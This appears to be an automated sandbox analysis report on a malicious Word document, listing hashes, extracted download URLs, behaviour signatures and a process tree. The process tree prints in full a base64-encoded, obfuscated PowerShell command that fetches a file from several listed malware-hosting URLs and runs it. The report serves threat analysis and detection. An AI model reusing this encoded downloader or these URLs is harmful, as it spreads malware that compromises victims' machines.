Analysis
-
max time kernel
136s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
-
submitted
04/05/2024, 12:34
General
-
Target
12c2af78ff5e6b07d719ae57a31de63f_JaffaCakes118.doc
-
Size
173KB
-
MD5
12c2af78ff5e6b07d719ae57a31de63f
-
SHA1
c5fd579ec64c0fad6dfa6da819909de435d1f8e5
-
SHA256
2ebc9a276ec4562dfe54e8fe149d6a6a56a4ff9e96b0f1b760a411c64eacc5f9
-
SHA512
75d072ba0f0eab4c94ed103e6e28b959d756070573ad14afcb0debd061e19b342eb64689454b6f91945f208a9c28afe2e8db037e4b6bc7417e56e95948f19e67
-
SSDEEP
1536:7DGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiPIFqaS17dv8qHSDHrLubIaEHpw:XrfrzOH98ipgQyE10gia
Malware Config
Extracted
https://up.neu.vn/ahubhten/GoU5j/
http://zsstart.com/mobile/lM4onHI/
https://softgon.com/wp-content/gjVNOlY/
https://studiolegaletufano.net/setting/LFkMN/
http://trillionstarplus.com/wp-admin/SVhB4/
http://blog.tobenum.club/wp-content/drHj/
http://homful.info/wp-content/5UEyn/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 6 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\12c2af78ff5e6b07d719ae57a31de63f_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABOAHgAeQA4AHEAbwBhAD0AKAAnAFYAJwArACcAbwA5ACcAKwAoACcAbAB6AHgAJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBTAGUAUgBwAHIAbwBmAEkATABFAFwATwBIAEsAVQBKAFAAaABcAG8ARgB0AHkAVwBlAEkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAcgBJAGAAVABZAGAAcABgAFIAbwB0AE8AQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAJwArACcAMgAsACAAdABsAHMAMQAnACkAKwAnADEAJwArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQQBnAF8AZAAyADAANAAgAD0AIAAoACcAWgBkACcAKwAoACcANQBjACcAKwAnADcAJwApACsAKAAnADYAOQAnACsAJwAxACcAKQApADsAJABRAHAAYQA4AHYAZwA3AD0AKAAnAEoAJwArACgAJwB2AGUAbAA4ACcAKwAnAHMAZwAnACkAKQA7ACQARAA2AHkAXwBmAHAAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGoATQAnACsAJwBIACcAKQArACgAJwBPACcAKwAnAGgAawAnACkAKwAoACcAdQBqAHAAJwArACcAaABqAE0AJwArACcASAAnACsAJwBPAGYAdAB5ACcAKQArACgAJwB3ACcAKwAnAGUAaQAnACkAKwAoACcAagAnACsAJwBNAEgAJwApACkAIAAtAFIAZQBwAGwAQQBDAEUAKAAnAGoAJwArACcATQBIACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAGcAXwBkADIAMAA0ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQASgAyADYAcgA3AGwAOQA9ACgAJwBYACcAKwAoACcAegB0ACcAKwAnAGwAZwAnACkAKwAnADIAegAnACkAOwAkAFUAOQA1ADMAMwBkAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAOwAkAEgAZABnADAAcwB5ADEAPQAoACgAJwBoAHQAdABwAHMAOgAnACsAJwAvAC8AdQBwAC4AJwArACcAbgBlACcAKQArACgAJwB1AC4AdgAnACsAJwBuAC8AYQAnACkAKwAoACcAaAB1AGIAJwArACcAaAB0AGUAJwApACsAKAAnAG4ALwBHAG8AVQAnACsAJwA1AGoALwAnACsAJwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB6AHMAcwB0AGEAcgAnACsAJwB0AC4AYwBvAG0ALwBtACcAKwAnAG8AYgBpAGwAZQAnACsAJwAvACcAKQArACgAJwBsAE0AJwArACcANAAnACkAKwAoACcAbwBuAEgAJwArACcASQAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBzAG8AZgAnACkAKwAoACcAdABnACcAKwAnAG8AbgAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AJwArACgAJwBuAHQAZQAnACsAJwBuACcAKQArACgAJwB0AC8AZwAnACsAJwBqACcAKQArACgAJwBWAE4ATwBsACcAKwAnAFkALwAnACsAJwAqACcAKQArACcAaAB0ACcAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AcwB0ACcAKwAnAHUAJwApACsAKAAnAGQAaQAnACsAJwBvAGwAZQBnAGEAbABlACcAKwAnAHQAdQBmACcAKwAnAGEAbgBvAC4AbgBlAHQALwBzACcAKwAnAGUAdAAnACkAKwAoACcAdABpAG4AZwAvAEwAJwArACcARgAnACsAJwBrACcAKQArACcATQBOACcAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvAHQAJwApACsAJwByACcAKwAoACcAaQBsACcAKwAnAGwAJwApACsAKAAnAGkAbwBuAHMAdAAnACsAJwBhACcAKwAnAHIAcAAnACkAKwAoACcAbAB1ACcAKwAnAHMAJwApACsAJwAuACcAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQBhACcAKQArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwBTAFYAJwArACcAaABCACcAKwAoACcANAAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AYgAnACsAJwBsAG8AJwArACcAZwAuAHQAJwApACsAKAAnAG8AYgBlAG4AJwArACcAdQAnACkAKwAnAG0AJwArACgAJwAuAGMAbAAnACsAJwB1AGIALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACgAJwBlAG4AdAAnACsAJwAvAGQAJwApACsAKAAnAHIASABqAC8AKgBoAHQAdAAnACsAJwBwACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwAnACsAJwBoAG8AbQBmAHUAbAAuAGkAbgAnACsAJwBmAG8ALwB3AHAAJwArACcALQBjAG8AJwArACcAbgB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvADUAVQBFACcAKwAnAHkAJwApACsAJwBuAC8AJwApAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAaQA0ADAAXwBfAGoAPQAoACgAJwBCAG4AJwArACcAbQBjADAAJwApACsAJwBsAGMAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATwAzAGIAbwBqAGYAcAAgAGkAbgAgACQASABkAGcAMABzAHkAMQApAHsAdAByAHkAewAkAFUAOQA1ADMAMwBkAG8ALgAiAEQAYABPAFcAbgBMAG8AYQBgAGQARgBJAEwAZQAiACgAJABPADMAYgBvAGoAZgBwACwAIAAkAEQANgB5AF8AZgBwAGoAKQA7ACQAUQA3AHMAZQBkAGkANAA9ACgAKAAnAE0AJwArACcAOQBfADcAeAAnACkAKwAnAHUAJwArACcAMwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAA2AHkAXwBmAHAAagApAC4AIgBMAGUAYABOAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADAAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABEADYAeQBfAGYAcABqACkAOwAkAEwAbgB5AHoAaQBoAG8APQAoACcAUQBwACcAKwAoACcAdAAnACsAJwAwADcAZQB2ACcAKQApADsAYgByAGUAYQBrADsAJABYAHoAbABpAHYAdwAxAD0AKAAnAE4AJwArACgAJwByAGMAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwB2AHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAZwB0ADAAcAA4AG8APQAoACcAQwB4ACcAKwAoACcAcgA0ACcAKwAnAGsAbQB3ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB